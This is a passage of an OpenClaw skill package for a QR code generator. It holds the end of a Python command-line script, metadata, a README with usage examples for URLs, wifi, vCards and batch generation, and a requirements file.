QR codes") data = format_vcard( args.name, args.phone, args.phone_home, args.phone_work, args.email, args.organization, args.title, args.url, args.address ) elif args.type == "email": if not args.email: parser.error("--email required for email QR codes") data = format_email(args.email, args.subject, args.body) elif args.type == "phone": if not args.phone: parser.error("--phone required for phone QR codes") data = format_phone(args.phone) elif args.type == "sms": if not args.phone: parser.error("--phone required for SMS QR codes") data = format_sms(args.phone, args.message) elif args.type == "geo": if args.latitude is None or args.longitude is None: parser.error("--latitude and --longitude required for geo QR codes") data = format_geo(args.latitude, args.longitude, args.altitude, args.location_name) elif args.type == "event": if not all([args.event_title, args.event_start, args.event_end]): parser.error("--event-title, --event-start, --event-end required for event QR codes") data = format_event( args.event_title, args.event_start, args.event_end, args.event_location, args.event_description ) # Generate QR code success = generate_qr_code( data=data, output_path=args.output, fg_color=args.fg_color, bg_color=args.bg_color, error_correction=args.error_correction, box_size=args.box_size, border=args.border, logo_path=args.logo, logo_size=args.logo_size, output_format=args.format ) if success and args.format != "terminal": print(f"QR code generated: {args.output}", file=sys.stderr) print(f"Data: {data[:100]}{'...' if len(data) > 100 else ''}", file=sys.stderr) elif not success: sys.exit(1) if __name__ == "__main__": main() ``` --- ## Skill Companion Files > Additional files collected from the skill directory layout. ### _meta.json ```json { "owner": "anisafifi", "slug": "qr-code-generator", "displayName": "Qr Code Generator", "latest": { "version": "0.1.0", "publishedAt": 1770540083376, "commit": "https://github.com/openclaw/skills/commit/60da225b310f57937c8f2caf7fed5a68c28ad0d0" }, "history": [] } ``` ### references/readme.md ```markdown # QR Code Generator A powerful OpenClaw skill for creating customizable QR codes for any purpose. ## Features ✅ **Multiple Data Types** - URLs and web links - Plain text messages - WiFi credentials - Contact cards (vCard) - Email addresses - Phone numbers - SMS messages - GPS coordinates - Calendar events ✅ **Customization** - Custom colors (foreground/background) - Logo embedding - Error correction levels - Adjustable size and border - Multiple output formats ✅ **Export Formats** - PNG (raster) - SVG (vector) - PDF (print-ready) - EPS (design tools) - Terminal (ASCII art) ✅ **Batch Processing** - Generate from text files - CSV with metadata - JSON with full config - Bulk URL/text lists ## Installation ### Prerequisites 1. Install [OpenClawCLI](https://clawhub.ai/) for Windows or MacOS 2. Install Python dependencies: ```bash # Standard installation pip install qrcode[pil] segno # Or install from requirements.txt pip install -r requirements.txt ``` **Using Virtual Environment (Recommended):** ```bash python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install -r requirements.txt ``` ⚠️ **Never use `--break-system-packages`** - use virtual environments instead! ## Quick Start ### Basic Examples ```bash # URL QR code python scripts/qr.py "https://example.com" # Text message python scripts/qr.py --type text "Hello, World!" # WiFi credentials python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret123" # Contact card python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" --email "[email protected]" ``` ### Custom Styling ```bash # Custom colors python scripts/qr.py "https://example.com" --fg-color blue --bg-color white # With company logo python scripts/qr.py "https://company.com" --logo logo.png --error-correction H # High quality for print python scripts/qr.py "https://example.com" --box-size 15 --error-correction H --format pdf ``` ## Common Use Cases ### 1. Restaurant Menu ```bash python scripts/qr.py "https://restaurant.com/menu" \ --output menu_qr.pdf \ --format pdf \ --box-size 15 \ --error-correction H ``` ### 2. WiFi Guest Access ```bash python scripts/qr.py --type wifi \ --ssid "Guest_Network" \ --password "GuestPass123" \ --format pdf \ --output wifi_guest.pdf ``` ### 3. Business Card ```bash python scripts/qr.py --type vcard \ --name "John Doe" \ --phone "+1234567890" \ --email "[email protected]" \ --organization "Tech Corp" \ --title "CEO" \ --url "https://company.com" \ --format svg \ --output business_card.svg ``` ### 4. Social Media Links ```bash # Instagram python scripts/qr.py "https://instagram.com/username" --output instagram_qr.png # LinkedIn python scripts/qr.py "https://linkedin.com/in/username" --output linkedin_qr.png # Multiple platforms (batch) cat > social.txt << EOF https://twitter.com/username https://instagram.com/username https://linkedin.com/in/username EOF python scripts/qr.py --batch social.txt --output-dir social_qr/ ``` ### 5. Event Tickets ```bash python scripts/qr.py --type text "TICKET-12345-VIP" \ --output ticket.png \ --box-size 12 \ --error-correction H ``` ### 6. Product Information ```bash python scripts/qr.py "https://product.com/info/SKU12345" \ --format svg \ --fg-color "#000000" \ --bg-color transparent \ --output product_qr.svg ``` ## Batch Generation ### From Text File ```bash # Create list of URLs cat > urls.txt << EOF https://example.com https://github.com https://google.com EOF # Generate all QR codes python scripts/qr.py --batch urls.txt --output-dir qrcodes/ ``` ### From CSV File ```bash # Create CSV with metadata cat > contacts.csv << EOF name,phone,email,filename John Doe,+1234567890,[email protected],john_qr.png Jane Smith,+0987654321,[email protected],jane_qr.png EOF # Generate vCard QR codes python scripts/qr.py --batch contacts.csv --type vcard --output-dir contacts/ ``` ### From JSON File ```bash # Create JSON config cat > qr_config.json << EOF [ { "data": "https://example.com", "output": "example_qr.png", "fg_color": "blue", "bg_color": "white" }, { "type": "wifi", "ssid": "MyNetwork", "password": "secret", "output": "wifi_qr.png" } ] EOF # Generate with custom config python scripts/qr.py --batch qr_config.json --output-dir custom/ ``` ## QR Code Types ### URL/Link ```bash python scripts/qr.py "https://example.com" ``` ### Text ```bash python scripts/qr.py --type text "Your message here" ``` ### WiFi ```bash python scripts/qr.py --type wifi \ --ssid "NetworkName" \ --password "password123" \ --security WPA ``` ### Contact (vCard) ```bash python scripts/qr.py --type vcard \ --name "John Doe" \ --phone "+1234567890" \ --email "[email protected]" ``` ### Email ```bash python scripts/qr.py --type email \ --email "[email protected]" \ --subject "Hello" \ --body "Message text" ``` ### Phone ```bash python scripts/qr.py --type phone --phone "+1234567890" ``` ### SMS ```bash python scripts/qr.py --type sms \ --phone "+1234567890" \ --message "Hello from QR!" ``` ### Location ```bash python scripts/qr.py --type geo \ --latitude 37.7749 \ --longitude -122.4194 ``` ### Calendar Event ```bash python scripts/qr.py --type event \ --event-title "Meeting" \ --event-start "2024-03-15T14:00:00" \ --event-end "2024-03-15T15:00:00" \ --event-location "Conference Room A" ``` ## Customization Options ### Colors ```bash # Named colors python scripts/qr.py "URL" --fg-color blue --bg-color white # Hex colors python scripts/qr.py "URL" --fg-color "#FF0000" --bg-color "#FFFFFF" # RGB colors python scripts/qr.py "URL" --fg-color "rgb(0,100,200)" # Transparent background python scripts/qr.py "URL" --bg-color transparent ``` ### Error Correction - **L** (Low) - 7% recovery - smallest size - **M** (Medium) - 15% recovery - default - **Q** (Quartile) - 25% recovery - good for logos - **H** (High) - 30% recovery - best for print ```bash python scripts/qr.py "URL" --error-correction H ``` ### Size ```bash # Larger modules python scripts/qr.py "URL" --box-size 15 # Custom border python scripts/qr.py "URL" --border 2 # No border python scripts/qr.py "URL" --border 0 ``` ### Logo ```bash # Add logo python scripts/qr.py "URL" --logo company_logo.png # Custom logo size (percentage) python scripts/qr.py "URL" --logo logo.png --logo-size 25 # Logo with high error correction python scripts/qr.py "URL" --logo logo.png --error-correction H ``` ## Output Formats ### PNG (Default) ```bash python scripts/qr.py "URL" --format png ``` Best for: Web, digital displays ### SVG (Vector) ```bash python scripts/qr.py "URL" --format svg ``` Best for: Scalable graphics, any size ### PDF ```bash python scripts/qr.py "URL" --format pdf ``` Best for: Printing, documents ### EPS ```bash python scripts/qr.py "URL" --format eps ``` Best for: Professional design tools ### Terminal ```bash python scripts/qr.py "URL" --format terminal ``` Best for: Quick preview in terminal ## Command Reference ```bash python scripts/qr.py [DATA] [OPTIONS] GENERAL: --type Data type (url|text|wifi|vcard|email|phone|sms|geo|event) -o, --output Output filename -f, --format Format (png|svg|pdf|eps|terminal) CUSTOMIZATION: --fg-color Foreground color --bg-color Background color --error-correction Error level (L|M|Q|H) --box-size Module size in pixels --border Border size in modules --logo Logo image path --logo-size Logo size percentage WIFI: --ssid Network name --password Network password --security Security (WPA|WEP|nopass) --hidden Hidden network flag VCARD: --name Full name --phone Phone number --email Email address --organization Company --title Job title --url Website --address Full address BATCH: --batch Input file (txt|csv|json) --output-dir Output directory ``` ## Best Practices ### Size and Scanning - Minimum 2cm × 2cm for reliable scanning - Keep 4 modules border (quiet zone) - Test scan before mass production ### Error Correction - Digital display: L or M - Print without logo: M - Print with logo: H - Outdoor/damaged: H ### Colors - High contrast (dark on light) - Avoid similar tones - Use black/white for print ### Logos - Keep ≤ 30% of QR size - Use error correction Q or H - Test scanning with logo ## Troubleshooting ### "Cannot scan QR code" - Increase error correction - Ensure sufficient contrast - Check minimum size (2cm) - Reduce logo size - Good lighting helps ### "Library not installed" ```bash pip install qrcode[pil] segno ``` ### "Logo obscures data" - Use smaller logo (--logo-size 15) - Increase error correction to H - Test with simpler logo ### "Output file error" - Check directory exists - Verify write permissions - Check available disk space ## Version 0.1.0 - Initial release ## License Proprietary - See LICENSE.txt ## Credits Built for OpenClaw using: - [qrcode](https://pypi.org/project/qrcode/) - QR code generation - [segno](https://pypi.org/project/segno/) - Advanced QR features - [Pillow](https://python-pillow.org/) - Image processing ``` ### scripts/requirements.txt ```text # QR Code Generator - Python Dependencies # Core QR code generation qrcode[pil]>=7.4.0 # Enhanced QR code features (SVG, EPS, etc.) segno>=1.6.0 # Image processing (included with qrcode[pil]) Pillow>=10.0.0 ```